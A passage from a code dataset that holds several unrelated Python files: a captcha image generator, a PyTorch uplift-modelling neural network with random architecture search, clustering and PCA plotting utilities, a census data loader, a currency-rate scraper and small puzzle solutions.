@staticmethod\n def _get_color(r: int, g: int, b: int):\n color = 'rgb({R}, {G}, {B})'.format(R=r, G=g, B=b)\n return color\n\n @staticmethod\n def _get_char_size(font: ImageFont, char: str):\n size = font.getsize(char)\n width = size[0] * 2\n height = size[1] * 2\n width_offset = (width - size[0]) / 2\n height_offset = (height - size[1]) / 2\n return width, height, width_offset, height_offset\n\n @staticmethod\n def _rotate(image, angel: int = 0):\n return image.rotate(angel)\n\n @staticmethod\n def _resize(image: Image, size: tuple):\n return image.resize(size, resample=Image.ANTIALIAS)\n\n @staticmethod\n def _rand_resize(image: Image):\n import math\n ratio = random.random() + 0.5\n width = math.floor(image.size[0] * ratio)\n height = math.floor(image.size[1] * ratio)\n size = width, height\n return image.resize(size)\n\n @staticmethod\n def _base_dir():\n path = os.path.dirname(__file__)\n return path\n\n @staticmethod\n def _rand_padding():\n return random.randrange(10, 15)\n\n def _noise_arc(self,\n image: Image,\n box: list = None,\n color: ImageColor = None,\n start_angel: int = 180,\n stop_angel: int = 0,\n width: int = 2):\n\n box = box if box else self._rand_rect(image)\n color = color if color else self._rand_color\n draw = ImageDraw.Draw(image)\n draw.arc(xy=box,\n start=start_angel,\n end=stop_angel,\n fill=color,\n width=width)\n\n def _rand_noise_arcs(self,\n image,\n number: int = 1):\n\n for _ in range(number):\n start_angel = random.randint(0, 360)\n stop_angel = random.randint(0, 360)\n self._noise_arc(image,\n start_angel=start_angel,\n stop_angel=stop_angel)\n\n def _noise_line(self, image: Image,\n xy: list = None,\n color: ImageColor = None,\n width: int = 5,\n joint=None):\n\n box = xy if xy else self._rand_rect(image)\n color = color if color else self._rand_color\n draw = ImageDraw.Draw(image)\n draw.line(box, fill=color, width=width, joint=joint)\n\n def _rand_noise_lines(self, image: Image, number: int = 1):\n for _ in range(number):\n self._noise_line(image)\n\n def _noise_dot(self,\n image: Image,\n point: tuple = None,\n color: ImageColor = None,\n diameter: int = 10):\n\n point = point if point else self._rand_point(image)\n color = color if color else self._rand_color\n draw = ImageDraw.Draw(image)\n # draw.point(box, fill=color)\n import math\n x = math.ceil(point[0] - diameter / 2)\n y = math.ceil(point[1] - diameter / 2)\n\n dots = []\n for i in range(diameter):\n for n in range(diameter):\n dots.append(x + i)\n dots.append(y + n)\n\n draw.point(dots, fill=color)\n\n def _rand_noise_dots(self,\n image: Image,\n number: int = 1):\n for _ in range(number):\n self._noise_dot(image)\n\n @staticmethod\n def _rand_point(image):\n x = random.randrange(0, image.size[0])\n y = random.randrange(0, image.size[1])\n return x, y\n\n def _rand_rect(self, image):\n x0, y0 = self._rand_point(image)\n x1, y1 = self._rand_point(image)\n\n if x0 > x1:\n x0, x1 = x1, x0\n if y0 > y1:\n y0, y1 = y1, y0\n\n return x0, y0, x1, y1\n\n def _get_font_path(self, path: Path = None, name: str = None):\n path = path if path else Path(os.path.join(self._base_dir(), 'fonts',\n name))\n if path.exists():\n return str(path)\n else:\n raise FontNotFoundError()\n\n\nclass DefaultGenerator(BaseGenerator):\n FONT = 'TruenoBdOlIt.otf'\n\n def make_captcha(self,\n string: str = None,\n font_size: int = None,\n image_size: tuple = None):\n\n font_size = font_size if font_size else self.FONT_SIZE\n image_size = image_size if image_size else self.IMAGE_SIZE\n\n captcha = self._make_captcha(string, font_size)\n size = image_size if image_size else self.size\n captcha = self._resize(captcha, size)\n return captcha\n\n def _make_captcha(self, string, font_size):\n font = self._get_font(font_size)\n char_images = self._make_char_images(string,\n font,\n rotate=None,\n color=self._rand_color)\n image = self._composite_char_images(char_images,\n color=self._get_color(255,\n 255,\n 255))\n\n image = self._rand_noise(image)\n return image\n\n def _get_font(self, size: int = 48):\n font = self._load_font(name=self.FONT, size=size)\n return font\n\n def _rand_noise(self, image):\n rand_lines = random.randint(1, 5)\n self._rand_noise_lines(image, rand_lines)\n\n rand_dots = random.randint(1, 5)\n self._rand_noise_dots(image, rand_dots)\n\n rand_arcs = random.randint(1, 5)\n self._rand_noise_arcs(image, rand_arcs)\n\n return image\n\n\nclass SimpleGenerator(BaseGenerator):\n FONT = 'AuxinMedium.otf'\n\n def make_captcha(self,\n string: str = None,\n font_size: int = None,\n image_size: tuple = None):\n font_size = font_size if font_size else self.FONT_SIZE\n image_size = image_size if image_size else self.IMAGE_SIZE\n\n captcha = self._make_captcha(string, font_size)\n size = image_size if image_size else self.size\n captcha = self._resize(captcha, size)\n return captcha\n\n def _make_captcha(self, string, font_size):\n font = self._get_font(font_size)\n char_images = self._make_char_images(string, font, rotate=0)\n image = self._composite_char_images(char_images,\n color=self._get_color(255,\n 255,\n 255))\n\n return image\n\n def _get_font(self, size: int = None):\n font = self._load_font(name=self.FONT, size=size)\n return font\n\n\nclass SimpleChineseGenerator(SimpleGenerator):\n FONT = 'MicroSoftYaHei.ttf'\n","repo_name":"youngershen/easy-captcha","sub_path":"captcha/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":12231,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"4160054486","text":"import pathlib\nimport sys\nimport unittest\n\nif __name__ == '__main__':\n\tdirectory = pathlib.Path(__file__).parent\n\tsuite = unittest.defaultTestLoader.discover(start_dir=str(directory), pattern='*.py', top_level_dir=str(directory/'..'))\n\trunner = unittest.TextTestRunner(verbosity=2 if '-v' in sys.argv else 1)\n\tresult = runner.run(suite)\n\tif not result.wasSuccessful():\n\t\traise Exception('Not all tests succeeded')","repo_name":"mplucinski/builder","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72676644064","text":"import pandas as pd\nimport numpy as np\n\nfrom this_project.datasets.common import (\n created_datasets_dir,\n fetch_asset,\n get_datasets_dir,\n)\n\n_BASE_SUBDIR = \"censusdata\"\n\n_COL_NAMES = [\n \"age\",\n \"workclass\",\n \"fnlwgt\",\n \"education\",\n \"education_num\",\n \"marital_status\",\n \"occupation\",\n \"relationship\",\n \"race\",\n \"sex\",\n \"capital_gain\",\n \"capital_loss\",\n \"hours_per_week\",\n \"native_country\",\n \"income\",\n]\n\nCAT_COLS = [\n \"workclass\",\n \"education\",\n \"marital_status\",\n \"occupation\",\n \"relationship\",\n \"race\",\n \"sex\",\n \"native_country\",\n]\n\nNUM_COLS = [\n \"age\",\n \"fnlwgt\",\n \"education_num\",\n \"capital_gain\",\n \"capital_loss\",\n \"hours_per_week\",\n]\n\nTARGET_COL = \"income\"\n\n\ndef _sanitize_str_columns(df):\n for col in df.select_dtypes(include=[\"object\"]).columns:\n df[col] = df[col].str.strip().replace({\"?\": np.nan})\n\n return df\n\n\ndef _sanitise_float_columns(df):\n for col in df.select_dtypes(include=[\"int64\"]).columns:\n df[col] = df[col].replace({0.0: np.nan})\n\n return df\n\n\ndef fetch_censusdata():\n created_datasets_dir(_BASE_SUBDIR)\n\n fetch_asset(\n \"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data\",\n _BASE_SUBDIR,\n )\n fetch_asset(\n \"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.names\",\n _BASE_SUBDIR,\n )\n fetch_asset(\n \"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.test\",\n _BASE_SUBDIR,\n )\n\n df = pd.read_csv(\n get_datasets_dir(_BASE_SUBDIR) + \"/adult.data\",\n names=_COL_NAMES,\n index_col=False,\n )\n\n df = df.pipe(_sanitize_str_columns) # .pipe(_sanitise_float_columns)\n\n return (\n df.drop(columns=[TARGET_COL]),\n df[TARGET_COL].map(lambda item: 1.0 if item.strip() == \">50K\" else 0.0),\n )\n","repo_name":"davideanastasia/data-science-e2e","sub_path":"this_project/censusdata/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4782988696","text":"\"\"\"\nDeep Data-shared \"Lasso\" and random search in network architectures\n\nThis code is made to test a similar approach to the Data-shared Lasso\nproposed by Gross & Tibshirani (2016). Note that while the Lasso uses\nL1-regularization, we use L2.\nEssentially we are trying a neural network which takes inputs twice\nas x and t*x. The second inputs are hence interaction terms.\nThe intention is to do a random search for the network architecture\nto perhaps find a network that outperforms everything up to\ndate.\n\"\"\"\nimport random\nimport torch\nimport torch.nn as nn\nimport warnings\nimport data.load_data as load_data\nimport uplift_neural_net\n\n\nLEARNING_RATE = .1\nif torch.cuda.is_available():\n DEVICE = 'cuda'\nelse:\n DEVICE = 'cpu'\n\n# Both Adagrad and Adamax would be acceptable optimizers\n# (although Adamax does not support sparse input).\nOPTIMIZER = torch.optim.Adagrad # torch.optim.Adamax\n\n# Both BCE and MSE would be acceptable loss-functions.\nLOSS_FN = torch.nn.BCELoss # torch.nn.MSELoss()\n\n\nclass DeepDslNeuralNet(uplift_neural_net.UpliftNeuralNet):\n \"\"\"\n Class for deep data-shared lasso (dsl) -type of neural net.\n Essentially we first create two separate neural networks,\n one for input x and another for input t*x, then we connect\n both of these nets, with penalty on the weights coming from\n the network for input t*x, into the reminder (REM) of the\n net. The reminder then predicts the label. Think of it\n as a network starting from two branches and merging into\n one. To predict uplift, we have to make two predictions\n for x: one where t=0 and another where t=1.\n\n The \"DSL\" name is borrowed from Gross & Tibshirani (2016).\n While they used an actual Lasso (L1-regularized linear\n regression), we use L2 penalty as sparsity in the network\n itself is not useful in this context.\n \"\"\"\n def __init__(self, n_features,\n layers_dsl=6,\n layers_rem=6,\n hidden_units_dsl=12,\n hidden_units_rem=12,\n dropout_rate=.5,\n dsl_penalty=1,\n learning_rate=LEARNING_RATE):\n \"\"\"\n Args:\n n_features (int): Number of features in data.\n layers_dsl (int): Number of layers in the dsl-forks\n of the neural net\n layers_rem (int): Number of layers in the remainder\n of the neural net after the dsl-layers\n hidden_units_dsl (int): Number of hidden units in\n every dsl-layer in the net\n hidden_units_rem (int): Number of hidden units in\n every rem-layer in the net\n dropout_rate (float): Dropout rate used in all dropout\n layers\n \"\"\"\n # Initialize the nn.Module.\n # uplift_neural_net.__init__() is not useful in this context.\n super(uplift_neural_net.UpliftNeuralNet, self).__init__()\n self.hidden_units_dsl = hidden_units_dsl\n self.hidden_units_rem = hidden_units_rem\n self.layers_dsl = layers_dsl\n self.layers_rem = layers_rem\n self.dropout_rate = dropout_rate\n self.expected_conversion_rate_r = 0\n self.n_features = n_features\n self.dsl_penalty = dsl_penalty\n self.learning_rate = learning_rate\n\n # As we are not calling __init__() for the parent class, we need to\n # set the variables that the parent class would normally handle:\n self.model = self.set_model_architecture()\n self.ecrr = 0\n self.optimizer = OPTIMIZER(list(self.model['model_rem'].parameters()) +\n list(self.model['model_t'].parameters()) +\n list(self.model['model_c'].parameters()),\n lr=self.learning_rate)\n self.loss_fn = LOSS_FN()\n\n\n def set_model_architecture(self):\n \"\"\"\n Method for setting the model architecture. Uses parameters\n stored in self.\n \"\"\"\n # Create the DSL-layer for the control data:\n model_c = torch.nn.ModuleList()\n model_c.append(nn.Linear(self.n_features, self.hidden_units_dsl))\n model_c.append(nn.Sigmoid())\n model_c.append(nn.Dropout(self.dropout_rate))\n model_c.append(nn.BatchNorm1d(self.hidden_units_dsl))\n if self.layers_dsl > 1:\n for _ in range(self.layers_dsl - 1):\n model_c.append(nn.Linear(self.hidden_units_dsl, self.hidden_units_dsl))\n model_c.append(nn.Sigmoid())\n model_c.append(nn.Dropout(self.dropout_rate))\n model_c.append(nn.BatchNorm1d(self.hidden_units_dsl))\n # Create the DSL-layer for the treatment data:\n model_t = torch.nn.ModuleList()\n model_t.append(nn.Linear(self.n_features, self.hidden_units_dsl))\n model_t.append(nn.Sigmoid())\n model_t.append(nn.Dropout(self.dropout_rate))\n model_t.append(nn.BatchNorm1d(self.hidden_units_dsl))\n if self.layers_dsl > 1:\n for _ in range(self.layers_dsl - 1):\n model_t.append(nn.Linear(self.hidden_units_dsl, self.hidden_units_dsl))\n model_t.append(nn.Sigmoid())\n model_t.append(nn.Dropout(self.dropout_rate))\n model_t.append(nn.BatchNorm1d(self.hidden_units_dsl))\n\n # Create the connecting layer and the remaining layers:\n model_rem = torch.nn.ModuleList()\n model_rem.append(nn.Linear((self.hidden_units_dsl * 2), self.hidden_units_rem))\n model_rem.append(nn.Sigmoid())\n model_rem.append(nn.Dropout(self.dropout_rate))\n model_rem.append(nn.BatchNorm1d(self.hidden_units_rem))\n if self.layers_rem > 1:\n for _ in range(self.layers_rem - 1):\n model_rem.append(nn.Linear(self.hidden_units_rem, self.hidden_units_rem))\n model_rem.append(nn.Sigmoid())\n model_rem.append(nn.Dropout(self.dropout_rate))\n model_rem.append(nn.BatchNorm1d(self.hidden_units_rem))\n model_rem.append(nn.Linear(self.hidden_units_rem, 1))\n model_rem.append(nn.Sigmoid())\n\n model = {\n # Create Sequential models of ModuleLists:\n 'model_c': torch.nn.Sequential(*model_c).to(DEVICE),\n 'model_t': torch.nn.Sequential(*model_t).to(DEVICE),\n 'model_rem': torch.nn.Sequential(*model_rem).to(DEVICE)\n }\n return model\n\n\n def set_training_mode(self, mode=False):\n \"\"\"\n Args:\n mode (bool): True sets model into training mode (has effect\n on dropout layers), False into evaluation mode.\n \"\"\"\n self.model['model_c'].train(mode)\n self.model['model_t'].train(mode)\n self.model['model_rem'].train(mode)\n\n def forward(self, x, t):\n \"\"\"\n Args:\n x (torch.Tensor): features\n t (torch.Tensor): treatment label ('1' for treatment group,\n '0' for control group)\n \"\"\"\n tmp_c = self.model['model_c'](x)\n tmp_t = self.model['model_t'](x) * t.view(-1, 1).repeat(1, self.hidden_units_dsl)\n res = self.model['model_rem'](torch.cat([tmp_c, tmp_t], dim=1))\n return res\n\n def estimate_loss(self, batch):\n \"\"\"\n Args:\n batch (dict): A batch as returned by the DataLoader iterator.\n \"\"\"\n self.set_training_mode(True)\n y_pred = self(batch['X'].to(DEVICE), batch['t'].to(DEVICE))\n loss = self.loss_fn(y_pred, batch['y'].view(-1, 1).to(DEVICE)) +\\\n self.dsl_penalty * torch.norm(\n self.model['model_rem'][0].weight[:, self.hidden_units_rem:] *\n torch.mean(batch['t'].to(DEVICE).float()), 2)\n # This formulation equals putting penalty on [0].weigth... only for samples\n # where t=1.\n self.set_training_mode(False)\n return loss\n\n @classmethod\n def init_random_neural_net(cls,\n n_features=12,\n max_layers_dsl=8,\n max_layers_rem=8,\n max_hidden_units_dsl=256,\n max_hidden_units_rem=256):\n \"\"\"\n Method for initialization of neural net with randomized\n architecture and parameters. The set values (except for\n n_features) are parameters for random sampling, e.g.\n max_layers_dsl indicates that the number of layers for\n the dsl-layers is randomly drawn from {1, ... 8}.\n Note that this method returns a dict with a model _and_\n the model architecture in readable format.\n\n Args:\n n_features (int): Number of features in the data.\n max_layers_dsl (int): Number of maximum input layers in the\n dsl-parts of the network.\n max_layers_rem (int): Maximum number of layers in the remaining\n network.\n max_hidden_units_dsl (int): Maximum number of hidden units in a\n dsl-layer.\n max_hidden_units_rem (int): Maximum number of hidden units in the\n remaining network.\n \"\"\"\n # The following assertions are here to ensure that network training\n # does not become too computationally complex.\n assert n_features > 0, \"n_features needs to be larger than 0\"\n assert 1 <= max_layers_dsl <= 16, \"max_layers_dsl not within set limits.\"\n assert 1 <= max_layers_rem <= 16, \"max_layers_rem not within set limits.\"\n assert 1 <= max_layers_dsl <= 512, \"max_hidden_units_dsl not within set limits.\"\n assert 1 <= max_layers_rem <= 512, \"max_hidden_units_rem not within set limits.\"\n\n random_state = random.getstate() # Random state for later reproduction\n layers_dsl = random.randint(1, max_layers_dsl)\n layers_rem = random.randint(1, max_layers_rem)\n hidden_units_dsl = random.randint(1, max_hidden_units_dsl)\n hidden_units_rem = random.randint(1, max_hidden_units_rem)\n dropout_rate = random.uniform(0, 1) # Float in [0, 1)\n penalty = random.uniform(0, 0.1) # Float in [0, 0.1)\n learning_rate = random.uniform(0, 0.1) # Default 0.01\n neural_net = cls(n_features,\n layers_dsl, layers_rem,\n hidden_units_dsl, hidden_units_rem,\n dropout_rate,\n dsl_penalty=penalty,\n learning_rate=learning_rate)\n architecture = {'layers_dsl': layers_dsl,\n 'layers_rem': layers_rem,\n 'hidden_units_dsl': hidden_units_dsl,\n 'hidden_units_rem': hidden_units_rem,\n 'dropout_rate': dropout_rate,\n 'learning_rate': learning_rate,\n 'random_state': random_state}\n\n return {'neural_net': neural_net,\n 'architecture': architecture}\n\n @classmethod\n def init_random_search_neural_net(cls,\n data,\n n_networks=3):\n \"\"\"\n Method for training a large number of randomly sampled neural\n networks. The method returns the best model. This is a random\n search (i.e. not grid search).\n\n Args:\n data (load_data.DatasetCollection): Data containing all required\n sets.\n n_networks (int): Number of random network to sample and train.\n \"\"\"\n if n_networks < 20:\n warnings.warn(\"n_networks is set to {}. \".format(n_networks) +\n \"It should preferably be > 100\")\n # Prepare data for training. We are here using the alternative\n # sets present in the load_data.DatasetCollection object because\n # we need a validation set for early stopping and another one\n # for model selection:\n training_set = load_data.DatasetWrapper(data['training_set_2'])\n validation_set_2a = load_data.DatasetWrapper(data['validation_set_2a'])\n validation_set_2b = load_data.DatasetWrapper(data['validation_set_2b'])\n n_features = data['training_set_2']['X'].shape[1]\n best_model_ecrr = 0\n ecrr_list = []\n architecture_list = []\n for i in range(n_networks):\n # 1. Generate new network\n new_model = cls.init_random_neural_net(n_features)\n # 2. Train new network.\n new_model['neural_net'].fit(training_set, validation_set_2a)\n # 3. Compare to previous best network on \"validation_data_2b\".\n new_model_ecrr = new_model['neural_net'].get_metrics(validation_set_2b)\n # Store metrics on progress:\n ecrr_list.append(new_model_ecrr)\n architecture_list.append(new_model['architecture'])\n print(\"Model {} ecrr: {}\\n\".format(i, new_model_ecrr))\n if new_model_ecrr > best_model_ecrr:\n best_model_ecrr = new_model_ecrr\n best_model = new_model['neural_net']\n # 4. Return best network.\n # return {'best_model': best_model,\n # 'ecrr_list': ecrr_list,\n # 'architecture_list': architecture_list}\n return best_model\n\n @classmethod\n def init_grid_search_neural_net(cls, data, dsl_penalties=[.001]):\n \"\"\"\n Method for finding best performing search among networks\n with different penalties. Returns the best model.\n\n Args:\n data (load_data.DatasetCollection): Data containing all required\n sets.\n \"\"\"\n # Prepare data for training. We are here using the alternative\n # sets present in the load_data.DatasetCollection object because\n # we need a validation set for early stopping and another one\n # for model selection:\n training_set = load_data.DatasetWrapper(data['training_set_2'])\n validation_set_2a = load_data.DatasetWrapper(data['validation_set_2a'])\n validation_set_2b = load_data.DatasetWrapper(data['validation_set_2b'])\n n_features = data['training_set_2']['X'].shape[1]\n best_model_ecrr = 0\n ecrr_list = []\n for dsl_penalty in dsl_penalties:\n # 1. Generate new network\n new_model = cls(n_features=n_features,\n dsl_penalty=dsl_penalty)\n # 2. Train new network.\n new_model.fit(training_set, validation_set_2a)\n # 3. Compare to previous best network on \"validation_data_2b\".\n new_model_ecrr = new_model.get_metrics(validation_set_2b)\n # Store metrics on progress:\n ecrr_list.append(new_model_ecrr)\n print(\"Model with dsl-penalty {} ecrr: {}\\n\".format(\n dsl_penalty, new_model_ecrr))\n if new_model_ecrr > best_model_ecrr:\n best_model_ecrr = new_model_ecrr\n best_model = new_model\n return best_model\n","repo_name":"Trinli/uplift_modeling","sub_path":"models/deep_dsl_neural_net.py","file_name":"deep_dsl_neural_net.py","file_ext":"py","file_size_in_byte":14868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"73305029664","text":"from scipy.spatial.distance import pdist\nfrom scipy.cluster.hierarchy import linkage, dendrogram\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.lda import LDA\nimport numpy as np\nfrom itertools import combinations\nfrom msda import adjustText\nfrom collections import OrderedDict\nimport matplotlib.cm as cm\nfrom collections import Counter\nimport seaborn as sns\nimport pandas as pd\n\n\ndef normalize_min_max(df):\n df = df.copy()\n for feature in df.columns:\n min = df[feature].min()\n range = df[feature].max() - min\n df[feature] = (df[feature] - min) / range\n return df\n\n\ndef hierarchical_clustering(df, samples, plot_name='hc_plot.png',\n tl=True):\n df = df.copy()\n df = df.transpose()\n df = df.ix[samples]\n df_nrm = normalize_min_max(df)\n cell_line_clusters = linkage(\n pdist(df_nrm, metric='correlation'),\n method='complete')\n dendrogram(cell_line_clusters, labels=df_nrm.index,\n color_threshold=0)\n plt.ylabel('Pearson correlation distance')\n plt.xticks(rotation=90)\n if tl:\n plt.tight_layout()\n plt.savefig(plot_name, dpi=600)\n plt.clf()\n\n\ndef pca(df, meta_df, num_components=2, label=None, plot_prefix=None):\n df = df.copy()\n samples = number_duplicates(meta_df.Sample.tolist())\n samples2 = number_duplicates(df.columns.tolist())\n meta_df.Sample = samples\n df.columns = samples2\n df = df[samples]\n assert set(df.columns.tolist()) <= set(samples), \"sample names mismatched\"\n df = df.transpose()\n df = df.ix[samples]\n X = df.values\n if label:\n sample_map, color_map = generate_map(meta_df, label)\n y = np.array([sample_map[sample] for sample in df.index.tolist()])\n else:\n y = None\n color_map = None\n pca = PCA(n_components=num_components)\n X_pca = pca.fit_transform(X)\n explained_variance = pca.explained_variance_ratio_\n for pcs in list(combinations(range(num_components), r=2)):\n if plot_prefix:\n plot_name = '%s%d_%d.png' % (plot_prefix, pcs[0]+1, pcs[1]+1)\n else:\n plot_name = None\n plot_pca(X_pca, explained_variance, samples, pcs, plot_name,\n y, color_map)\n return X_pca, explained_variance\n\n\ndef plot_pca(X_pca, explained_variance, samples,\n pcs=[0, 1], plot_name=None, y=None, labels=None):\n Xs_pca = np.zeros([X_pca.shape[0], 2])\n Xs_pca[:, 0] = X_pca[:, pcs[0]]\n Xs_pca[:, 1] = X_pca[:, pcs[1]]\n if not labels:\n plt.scatter(Xs_pca[:, 0], Xs_pca[:, 1], alpha=0.5, s=20)\n elif labels:\n for lab, col in labels.items():\n plt.scatter(Xs_pca[y == lab, 0], Xs_pca[y == lab, 1],\n label=lab, color=col)\n # texts = []\n for sample, pc1, pc2 in zip(samples, Xs_pca[:, 0], Xs_pca[:, 1]):\n plt.annotate(sample, xy=(pc1, pc2), xytext=(-3, 3), size=5,\n textcoords='offset points', ha='right', va='bottom')\n# texts.append(plt.text(pc1, pc2, sample,\n# bbox={'pad': 0, 'alpha': 0}, size=7))\n# adjustText.adjust_text(Xs_pca[:,0], Xs_pca[:, 1], texts,\n# arrowprops=dict(arrowstyle=\"-\", color='k', lw=0.5),\n# bbox={'pad':0, 'alpha':0}, size=7)\n\n plt.xlabel('PC %d (explained variance = %.2f%%)' %\n (pcs[0]+1, 100 * explained_variance[pcs[0]]))\n plt.ylabel('PC %d (explained variance = %.2f%%)' %\n (pcs[1]+1, 100 * explained_variance[pcs[1]]))\n plt.xticks([])\n plt.yticks([])\n plt.legend(fontsize=10, loc='lower left')\n # plt.tight_layout()\n if plot_name:\n plt.savefig(plot_name, dpi=600)\n plt.clf()\n else:\n plt.show()\n plt.clf()\n\n\ndef generate_map(meta_df, label):\n sample_map = OrderedDict()\n for sample in meta_df.Sample.tolist():\n sample_map[sample] = meta_df[label][\n meta_df.Sample == sample].values[0]\n sample_labels = list(set([types for types in sample_map.values()]))\n colors = cm.rainbow(np.linspace(0, 1, len(sample_labels)))\n label_map = {s: c for s, c in zip(sample_labels, colors)}\n return sample_map, label_map\n\n\ndef lda(df, samples, sample_labels, plot_name='lda_plot.png'):\n df = df.copy()\n df = df.transpose()\n df = df.ix[samples]\n df_nrm = normalize_min_max(df)\n X = df_nrm.values\n label_dict, y = encode_labels(sample_labels)\n ldas = LDA(n_components=2)\n X_lda = ldas.fit_transform(X, y)\n plot_scikit_lda(X_lda, y, label_dict, samples)\n\n\ndef encode_labels(sample_labels):\n enc = LabelEncoder()\n label_encoder = enc.fit(sample_labels)\n y = label_encoder.transform(sample_labels) + 1\n label_dict = {int: label for int, label in zip(y, sample_labels)}\n return label_dict, y\n\n\ndef plot_scikit_lda(X, y, label_dict, samples, plot_name='lda_plot.png'):\n\n ax = plt.subplot(111)\n for label, marker, color in zip(range(1, 4),\n ('^', 's', 'o'),\n ('blue', 'red', 'green')):\n\n plt.scatter(x=X[:, 0][y == label],\n y=X[:, 1][y == label], # flip the figure\n marker=marker,\n color=color,\n alpha=0.5,\n label=label_dict[label])\n\n for sample, ld1, ld2 in zip(samples, X[:, 0], X[:, 1]):\n plt.annotate(sample, xy=(ld1, ld2), textcoords='offset points') \n plt.xlabel('LD1')\n plt.ylabel('LD2')\n\n leg = plt.legend(loc='upper right', fancybox=True)\n leg.get_frame().set_alpha(0.5)\n # plt.title(title)\n\n # hide axis ticks\n plt.tick_params(axis=\"both\", which=\"both\", bottom=\"off\", top=\"off\",\n labelbottom=\"on\", left=\"off\", right=\"off\", labelleft=\"on\")\n\n # remove axis spines\n ax.spines[\"top\"].set_visible(False) \n ax.spines[\"right\"].set_visible(False)\n ax.spines[\"bottom\"].set_visible(False)\n ax.spines[\"left\"].set_visible(False) \n\n plt.grid()\n plt.tight_layout\n plt.savefig(plot_name)\n plt.clf()\n\n\ndef diff_exp(df, samples, figname, top=25):\n df2 = df.copy()\n df2.index = df2.Gene_Symbol\n df2 = df2[samples]\n\n std = [np.std(df2.loc[protein].values)\n for protein in df2.index.values]\n df2['Standard_Deviation'] = std\n df2 = df2.sort('Standard_Deviation', ascending=False)\n df_nrm = normalize_min_max(df2[samples].transpose()).transpose()\n arr = df_nrm.ix[:top, samples].values\n plt.pcolor(arr, cmap='Blues', edgecolor='k')\n plt.gca().invert_yaxis()\n plt.yticks([i+0.5 for i in range(top)], df_nrm.index.values[:top])\n plt.xticks([i+0.5 for i in range(len(samples))], samples, rotation=90)\n plt.colorbar()\n plt.tight_layout()\n plt.savefig(figname)\n plt.clf()\n\n\ndef number_duplicates(samples):\n counts = Counter(samples)\n for s, num in counts.items():\n if num > 1:\n for suffix in range(1, num+1):\n samples[samples.index(s)] = s + str(suffix)\n return samples\n\n\ndef plot_clustermap(df, output_path, cmap=None, legend_label='',\n z_score=None, xticklabels=False, yticklabels=True,\n colors_dict=None, col_colors=None, row_colors=None):\n \"\"\"Make clustermap figure\n\n Parameters\n ----------\n df\n df_meta\n output_path\n\n Returns\n -------\n cg\n \"\"\"\n\n cg = sns.clustermap(df, col_colors=col_colors, row_colors=None,\n cmap=cmap, z_score=z_score,\n yticklabels=yticklabels, xticklabels=xticklabels)\n\n if colors_dict:\n for cat in colors_dict.keys():\n for label in colors_dict[cat]:\n cg.ax_col_dendrogram.bar(0, 0, color=colors_dict[cat][label],\n label=label, linewidth=0)\n cg.ax_col_dendrogram.legend(loc=(-0.7, -2), ncol=1)\n\n plt.subplots_adjust(top=1, bottom=0.02, left=0.3, right=0.8)\n fig = plt.gcf()\n fig.set_size_inches([10, 7.5])\n cg.cax.set_position((.025, .1, 0.025, .15))\n cg.cax.text(-0.3, -0.2, legend_label, fontsize=9)\n plt.savefig(output_path, dpi=300)\n return cg\n\n\ndef construct_categorical_pal(df_meta, category):\n categorical_pal = sns.color_palette(\"hls\",\n len(df_meta[category].unique()))\n categorical_dict = dict(zip(df_meta[category].unique(), categorical_pal))\n return categorical_dict\n","repo_name":"datarail/msda","sub_path":"msda/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":8482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"20396773494","text":"# 爬汇率\nimport requests\nimport csv\n\ncsvfile = open('trade.csv', 'w', encoding='utf-8')\ncsv_write = csv.writer(csvfile)\n\nurl = 'https://rate.bot.com.tw/xrt/flcsv/0/day'\nrate = requests.get(url)\nrate.encoding = 'utf-8'\nrt = rate.text\nrts = rt.split('\\n')\noutput = []\nfor i in rts:\n try:\n a = i.split(',')\n print(a[0] + ':' + a[12])\n output.append([a[0], a[12]])\n except:\n break\ncsv_write.writerows(output)\n","repo_name":"codeofwhite/random_shot","sub_path":"PycharmProjects/alltest1/spiders/spider_project5.py","file_name":"spider_project5.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30854570913","text":"from statistics import median\n\n\ndef first(positions):\n mdn = int(median(positions))\n return sum(abs(mdn - x) for x in positions)\n\n\ndef second(positions):\n sorted_positions = sorted(positions)\n return min(\n sum((abs(x - p) + 1) * abs(x - p) // 2 for x in positions)\n for p in range(sorted_positions[0], sorted_positions[-1] + 1)\n )\n\n\nif __name__ == '__main__':\n positions = [int(x) for x in input().split(',')]\n print(first(positions))\n print(second(positions))\n","repo_name":"vaultah/aoc2021","sub_path":"07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18991885969","text":"\"\"\"\nObjects from this class are built when the user specifies 'historical_data'\nas their endpoint and '20DayAvg' as their item.\n\n@author: sgb\n\"\"\"\n\nimport pandas as pd\nfrom Intrinio.IntrinioBehavior import IntrinioBehavior\nfrom Utilities.DateAdjuster import DateAdjuster\n\nclass IntrinioBehavior_20DayAvg(IntrinioBehavior):\n \n def __init__(self):\n super().__init__()\n self.item = 'close_price'\n self.da = DateAdjuster()\n \n def getStockData(self, baseURL, endpoint, ticker, credentials, item,\n end_date, start_date):\n \n intrinioData = super().getStockData(baseURL, endpoint, ticker, credentials, self.item, \n end_date, start_date)\n \n output = pd.DataFrame()\n close_price = []\n date = []\n if len(intrinioData) == 0:\n close_price.append(float('nan'))\n date.append(float('nan'))\n output = pd.DataFrame({'ticker' : ticker,\n '20Day_Avg' : close_price,\n '20Day_Avg_EndDate' : ''})\n print('Unable to retrieve 20-day 